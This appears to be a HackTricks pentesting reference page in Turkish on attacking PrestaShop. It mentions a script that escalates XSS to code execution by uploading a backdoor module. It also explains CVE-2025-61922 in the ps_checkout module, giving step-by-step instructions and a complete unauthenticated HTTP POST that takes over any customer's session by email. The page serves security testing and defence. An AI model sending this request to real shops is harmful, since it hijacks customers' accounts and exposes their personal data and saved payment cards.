PrestaShop

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

XSS’ten RCE’ye

  • PrestaXSRF: PrestaShop Exploitation Script, XSS’i RCE’ye veya diğer kritik zafiyetlere yükseltir. Daha fazla bilgi için this post adresine bakın. Ayrıca PrestaShop Sürümleri 8.X.X ve 1.7.X.X için destek sağlar ve şunlara izin verir:
  • (RCE) PSUploadModule(); - Upload a custom Module: PrestaShop’a Persistent Module (backdoor) yükler.

ps_checkout ExpressCheckout sessiz oturum açma hesap ele geçirme (CVE-2025-61922)

ps_checkout modülünde < 5.0.5 kimlik doğrulaması eksikliği, kimliği doğrulanmamış bir saldırganın oturumu herhangi bir müşteriye e‑posta sağlayarak değiştirmesine izin verir.

  • Endpoint (unauth): POST /module/ps_checkout/ExpressCheckout.
  • Akış: ExpressCheckout.php saldırganın JSON’unu kabul eder, sadece orderID’yi kontrol eder, ExpressCheckoutRequest oluşturur ve ExpressCheckoutAction::execute() çağırır.
  • Auth bug: Zaafiyetli sürümlerde ExpressCheckoutAction, hiçbir kullanıcı oturum açmadığında CustomerAuthenticationAction::execute() çağırır. O metod basitçe customerExists(<payer_email>) yapar ve context->updateCustomer(new Customer($id)) çalıştırır; yani e‑posta varlığı == giriş (parola/token kontrolü yok).
  • Saldırgan kontrollü e‑posta alanı: JSON yükündeki order.payer.email_address, ExpressCheckoutRequest::getPayerEmail() tarafından okunur.

İstismar adımları

  1. Herhangi bir kayıtlı müşteri e‑postasını toplayın (admin ayrı ve bu akıştan etkilenmez).
  2. Controller’a kimliksız bir POST gönderin; orderID ile birlikte kurbanın e‑postasını order.payer.email_address içine koyun.
  3. Uç nokta 500 dönse bile, yanıt kurbanın müşteri bağlamına ait çerezleri içerecektir (oturum zaten değiştirilmiş), bu da PII erişimine veya kayıtlı kartlarla satın alma yapılmasına olanak verir.
POST /module/ps_checkout/ExpressCheckout HTTP/1.1
Host: `<target>`
Content-Type: application/json
Content-Length: 72

{"orderID":"1","order":{"payer":{"email_address":"victim@example.com"}}}

Referanslar

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin